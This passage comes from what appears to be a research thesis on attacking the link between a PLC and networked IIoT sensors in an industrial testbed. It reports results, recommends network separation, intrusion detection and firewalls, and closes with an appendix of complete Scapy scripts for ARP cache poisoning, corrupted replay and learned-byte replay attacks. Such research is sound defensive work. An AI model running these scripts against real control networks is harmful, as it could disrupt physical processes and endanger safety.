is due to the MITM causing a brief loss of connection while the infected computer poisons the 
ARP cache and continues to route the traffic to both nodes. The connection loss is very brief (only 
a few seconds) but during that time the PLC is not receiving accurate pressure readings, so it does 
not adjust the valve and causes the water to rise momentarily. After reconnecting the PLC gets its 
new pressure reading, which due to the rising water is higher than the set point and opens the valve 
to compensate for the elevated pressure. Shortly thereafter, the process stabilizes and remains 
unaffected by the attack. 
 The testbed and protocols were resilient to the corrupted replay attack. The randomized order 
of corrupted bits resulted in the PLC completely disregarding the corrupted packets and continuing 
with the next valid packet. Since this was a replay attack, the original traffic was still being routed 
and the attack was replaying old traffic with altered portions.  
 
Figure 40. No Effect Observed with ACP against DPT on the subnetted network. 
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Figure 41. MITM Outlier with No Other Effect. 
 
5.6  Chapter Summary 
 In summary, the attacks collectively had little success. Because of their protocol-agnostic 
design, any combination of the attacks had just as much of a chance of failing as they did at 
succeeding. Upon execution only a few are revealed as successful. The ARP cache poison attack 
is most successful, working with all three of the sensors and meeting the metric for success 93.33% 
of the time, or 28 out of 30 executions. The rest of the attacks failed with exception to the intelligent 
replay with a 33% success rate. The intelligent replay only worked when executed against the 
Allen-Bradley sensor it was successful every run.  
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VI. Conclusion 
6.1  Chapter Overview 
 It is seen by the ARP cache poison attack and intelligent replay attack, a process dependent on 
networked sensors introduces a new vector for affecting an industrial controlled process if devices 
and networks are not engineered with security in mind. This chapter summarizes the problem 
statement, contributions, future research, and provides concluding thoughts. 
6.2  Problem Statement Summary 
This research aims to discover how the introduction of IIoT to an ICS system opens the door 
for sets of vulnerabilities which could be common to more than one ICS network. More 
specifically, the goal of this research is to determine if attacks between a PLC and IIoT could be 
performed without knowledge of the supporting industrial protocols. It is hypothesized that due to 
the ease of access from the network, the ICS can be degraded/controlled by attacking the network 
between a PLC and IIoT without knowledge of what industrial protocol is used between the two.  
This hypothesis was marginally supported as revealed by the ARP cache poison attack and one 
of the intelligent replay attacks. These attacks function in such a way that no knowledge of the 
specific protocol was needed to affect the control process between the PLC and the IIoT device. 
The corrupted replay attack also functioned in this manner but the specific protocol and devices 
under attack were resilient to randomized corrupted portions of the packets. The intelligent replay 
was designed to detect what portions of the protocol to attack, choosing bits which changed often 
and manipulating them. In the specific case of the Allen-Bradley sensor, the changing portions of 
the protocol were the sequence numbers and process data. 
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6.3  Research Contributions 
 This research provides validity into furthering research IIoT and ICS integration. The attacks 
performed are only a small fraction of the possibilities opened up through the integration. In 
addition to this, this research gives credence that separation of networks, one network for critical 
devices and one for non-critical devices, is a best practice to maintain or implement if not already.
 In addition to the vulnerabilities explored, the testbed upgrades will allow for further research 
into the growing application of IIoT within ICS 
6.4  Research Limitations and Future Research 
 The research presented here is limited by two factors. The first is that there is only one PLC 
available to test the behavior under stress from the attacks: the Allen-Bradley ControlLogix 1756 
PLC. The assumption is that the network attacks performed would work on any other ICS with 
IIoT devices integrated into its control loop due to their protocol-agnostic design. Further research 
is needed to add validity to that assumption. Second, along the same vein, Ethernet/IP is the only 
industrial protocol available to test the attacks on the testbed. Due to this limitation future research 
could focus on how the attacks performed affect any of the protocols mentioned in Chapter 2. It 
would also be advantageous to research an adjustment to the intelligent replay attack that looks for 
the same type of packet and only adjust the bytes in the packet of the same structure. This could 
increase the success by ensuring only one structure of captured packet is analyzed and 
manipulated. In addition to this, future research could focus on methods which could best secure 
an ICS network which integrates IIoT while not sacrificing performance or monetary resources. 
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6.5  Recommendations for Security 
 It is demonstrated that separation of networks prevents the attacks here. It is likely that it 
prevents a large host of other attacks as long as the networks remain separated. There are other 
best practices which could prevent these attacks such as network intrusion detection and prevention 
systems and firewalls. Segmentation, firewalls, and network intrusion detection and prevention 
systems are best practice for an ICS and will add defense in depth to this new vector of attack. 
6.6  Conclusion 
 With IIoT comes newer possibilities useful to the more efficient management of a controlled 
process; however, this requires an ICS to rely on a network of devices. This evolution in how an 
ICS is designed, changes the attack surface by more than just a one-to-one ratio; as is seen with 
the Allen-Bradley networked sensor suffering from two different protocol-agnostic attacks. All 
three sensors were able to have their communication lines to the PLC disrupted by ARP cache 
poisoning, leading to process faults. These attacks would not work if the sensors were hardwired 
to the PLC as in the legacy network design. Therefore, the attack surface has evolved with the 
reliance on networked smart sensors albeit initially smaller than first hypothesized here.  That said, 
it is not impossible to have such a critical process dependent on a switched network. The network 
setup as seen in the set of experiments that separates the engineering PC from the side of the 
network which has access to the sensors, eliminates the dangers of at least these protocol-agnostic 
network attacks. The solution is a separation of networks; one for critical devices and one for non-
critical.   
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Appendix A – Attack Scripts 
 The following appendix provides the exact Scapy scripts used for each of the attacks. To 
properly run them a user must have at least Scapy 2.3.3 running over Python 2.7.14 or up. The 
scripts can be ran using the command scapy -c <script name.py>. 
ARP Cache Poison Attack 
 
1 def sendOneWayARP(target, victim): 
2  tmac = getmacbyip(target) 
3   p = Ether(dst=tmac)/ARP(op="who-has", psrc=victim, pdst=target) 
4  sendp(p, iface_hint=target) 
5  
6 def set_module_ip(): 
7  while(True): 
8   global module, modulemac 
9   module = raw_input("Enter module IP to attack: ") 
10   print("You entered: "+module) 
11   choice = raw_input("If correct press 1, if not press any other key: ") 
12   if(choice == str(1)): 
13    modulemac=getmacbyip(module) 
14    return 
15   else: 
16    continue 
17  
18 plc = '192.168.2.20' 
19 plcmac = getmacbyip(plc) 
20 module, modulemac = '', '' 
21 timespan = 10 
22 broadcastmac = "00:00:00:00:00:00" 
23 set_module_ip() 
24  
25 #wait = raw_input("Press Enter to continue. Timer for attack will commence.") 
26 time.sleep(60*2.5) 
27 stop = time.time()+(60*5) 
28  
29 while(time.time()<stop): 
30  sendOneWayARP(plc, module) 
31  sendOneWayARP(module,plc) 
32  time.sleep(5) 
33  
34 exit() 
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Corrupted Replay 
 
1 #rearps both nodes to remove host computer from in the middle 
2 import copy 
3 def rearp(): 
4  global plcmac,modulemac,module,broadcastmac,plc,timespan 
5  p = Ether(dst=plcmac, src=modulemac)/ARP(op="who-has", psrc=module, 
 hwsrc=modulemac, hwdst=broadcastmac, pdst=plc) 
6  sendp(p, iface_hint=plc) 
7  p = Ether(dst=modulemac, src=plcmac)/ARP(op="who-has", psrc=plc, 
 hwsrc=plcmac, hwdst=broadcastmac, pdst=module) 
8  sendp(p, iface_hint=plc) 
9  time.sleep(timespan) 
10  os.system("/root/intercept_off") 
11  
12 def sendOneWayARP(target, victim): 
13  tmac = getmacbyip(target) 
14  p = Ether(dst=tmac)/ARP(op="who-has", psrc=victim, pdst=target) 
15  sendp(p, iface_hint=target) 
16  
17 #this is a traditional arp-cache poison man-in-the-middle attack 
18 def intercept(target, victim): 
19  global sendOneWayARP, timespan, connection_success 
20  for i in range(0,5): 
21   sendOneWayARP(target, victim) 
22   sendOneWayARP(victim, target) 
23   time.sleep(timespan) 
24   if i==1: 
25    os.system("/root/intercept_on") 
26    #time.sleep(timespan) 
27   elif i>=1 and connection_success(victim): 
28    print("Connection Success!!") 
29    break 
30  
31 def set_module_ip(): 
32  while(True): 
33   global module, modulemac 
34   module = raw_input("Enter module IP to attack: ") 
35   print("You entered: "+module) 
36   choice = raw_input("If correct press 1, if not press any other key: ") 
37   if(choice == str(1)): 
38    modulemac=getmacbyip(module) 
39    return 
40   else: 
41    continue 
42  
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43 def replay(stop, percent): 
44  global module, plc, sendOneWayARP, intercept,rearp, timeoutwait 
45  sent=False 
46  i=0 
47  tmp='' 
48  
49  while(time.time()<stop): 
50   i+=1 
51   while(not sent and time.time()<stop): 
52    tmp = sniff(1) 
53    if(tmp[0].haslayer('UDP') and tmp[0].haslayer('Raw') and tmp[0][1].src == 
module): 
54     while(time.time()<stop): 
55      i+=1 
56      if(i%100==0): 
57       print("Maintaining connection...")  
58       sendOneWayARP(plc,module) 
59       sendOneWayARP(module,plc)  
60      p=copy.deepcopy(tmp) 
61      p[0].load = corrupt_bytes(p[0].load, percent) 
62      sendp(p) 
63     sent=True 
64    if(tmp[0].haslayer('UDP') and tmp[0][1].src != module and not sent): 
65     os.system("echo -n .") 
66  
67 def rearp(): 
68  global plcmac,plc,module,modulemac, timespan, broadcastmac 
69  p = Ether(dst=plcmac, src=modulemac)/ARP(op="who-has", psrc=module, 
hwsrc=modulemac, hwdst=broadcastmac, pdst=plc) 
70  sendp(p, iface_hint=plc) 
71  p = Ether(dst=modulemac, src=plcmac)/ARP(op="who-has", psrc=plc, 
hwsrc=plcmac, hwdst=broadcastmac, pdst=module) 
72  sendp(p, iface_hint=plc) 
73  p = Ether(dst=plcmac, src=modulemac)/ARP(op="who-has", psrc=module, 
hwsrc=modulemac, hwdst=broadcastmac, pdst=plc) 
74  sendp(p, iface_hint=plc) 
75  p = Ether(dst=modulemac, src=plcmac)/ARP(op="who-has", psrc=plc, 
hwsrc=plcmac, hwdst=broadcastmac, pdst=module) 
76  sendp(p, iface_hint=plc) 
77  time.sleep(timespan)  
78  2 wqos.system("/root/intercept_off") 
79  
80 def connection_success(ip): 
81  for i in range(0,300): 
82   tmp = sniff(1) 
83   if(tmp[0].haslayer('UDP') and tmp[0][1].src == ip): 
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84    return True 
85  return False 
86  
87 plc = '192.168.2.20' 
88 plcmac = getmacbyip(plc) 
89 module,modulemac="","" 
90 timespan=3 
91 timeoutwait=10 
92 percentageToCorrupt=0.15 
93  
94 broadcastmac = "00:00:00:00:00:00" 
95  
96 set_module_ip() 
97 time.sleep(60*2.5)#this allows the baseline to be measured 
98 stoptime = time.time()+(60*5) 
99 intercept(plc,module) 
100 #time.sleep(5) 
101 replay(stoptime,percentageToCorrupt) 
102 rearp() 
103 exit() 
  
 83 
 
Intelligent Replay 
 
1 from copy import deepcopy 
2  
3 def sendOneWayARP(target, victim): 
4  tmac = getmacbyip(target) 
5  p = Ether(dst=tmac)/ARP(op="who-has", psrc=victim, pdst=target) 
6  sendp(p, iface_hint=target) 
7  
8 def connection_success(ip): 
9  for i in range(0,300): 
10   tmp = sniff(1) 
11   if(tmp[0].haslayer('UDP') and tmp[0][1].src == ip): 
12    return True 
13  return False 
14  
15 #this is a traditional arp-cache poison man-in-the-middle attack 
16 def intercept(target, victim): 
17  global sendOneWayARP, timespan, connection_success 
18   for i in range(0,10): 
19    sendOneWayARP(target, victim) 
20    sendOneWayARP(victim, target) 
21    time.sleep(timespan) 
22    if i==1: 
23     os.system("/root/intercept_on") 
24    elif i>=1 and connection_success(victim): 
25     print("Connection Success!!") 
26     break 
27  
28 def set_module_ip(): 
29  while(True): 
30   global module, modulemac 
31   module = raw_input("Enter module IP to attack: ") 
32   print("You entered: "+module) 
33   choice = raw_input("If correct press 1, if not press any other key: ") 
34   if(choice == str(1)): 
35    modulemac=getmacbyip(module) 
36    return 
37   else: 
38    continue 
39  
40 def learn(strings): 
41  global compare, learnedBytes 
42  #learnedBytes = set() 
43  if len(strings)<=1: 
44   print("Not enough packets to compare, canceling") 
 84 
 
45   return [] 
46  for i in range(0,len(strings)): 
47   if i == len(strings)-1: 
48    break 
49   else: 
50    learnedBytes = learnedBytes.union(compare(strings[i],strings[i+1])) 
51  return sorted(learnedBytes) 
52  
53 def compare(string1, string2): 
54  interestingBytes = set() 
55  if(len(string1)!=len(string2)): 
56   return []#return an empty list if the string sizes are not equal 
57  for i in range(0,len(string1)): 
58   if int(string1[i],16)!=int(string2[i],16): 
59    interestingBytes.add(i) 
60  return interestingBytes 
61  
62 def sendCorruptPacket(plc, module): 
63  global learn, deepcopy 
64  lastPacketIndex=0 
65  tmp = sniff(300) 
66  collection = list() 
67  for i in range(0,len(tmp)): 
68   if(tmp[i].haslayer('UDP') and tmp[i].haslayer('Raw') and (tmp[i][1].src == 
module)): 
69    collection.append(tmp[i].load.encode('hex')) 
70    lastPacketIndex=i 
71  
72  bytestoaffect = learn(collection) 
73  print(bytestoaffect) 
74  p = list(tmp[lastPacketIndex].load.encode('hex')) 
75  if(len(bytestoaffect)==0): 
76   print("No UDP packets captured, skipping itteration...") 
77   return 0 
78  for i in range(0,len(bytestoaffect)): 
79   p[bytestoaffect[i]]='f' 
80  
81  p="".join(p) 
82  corrupt = deepcopy(tmp[lastPacketIndex]) 
83  #corrupt.show() 
84  corrupt[0].load = p.decode('hex') 
85  #corrupt.show() 
86  sendp(corrupt) 
87  sendp(corrupt) 
88  
89 plc = '192.168.2.20' 
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90 plcmac = getmacbyip(plc) 
91 module, modulemac = '', '' 
92 timespan = 3 
93 broadcastmac = "00:00:00:00:00:00" 
94 set_module_ip() 
95 learnedBytes = set() 
96  
97 stop = time.time()+(60*7.5) 
98 time.sleep(60*2.5) 
99  
100 intercept(plc,module) 
101 time.sleep(timespan*2) 
102 while(time.time() < stop): 
103  sendCorruptPacket(plc, module) 
104  sendOneWayARP(plc, module) 
105  sendOneWayARP(module, plc) 
106  time.sleep(timespan*2) 
107  print("current: " + str(time.time())+" stop: "+str(stop)) 
108  
109 os.system("/root/intercept_off") 
110 exit()  
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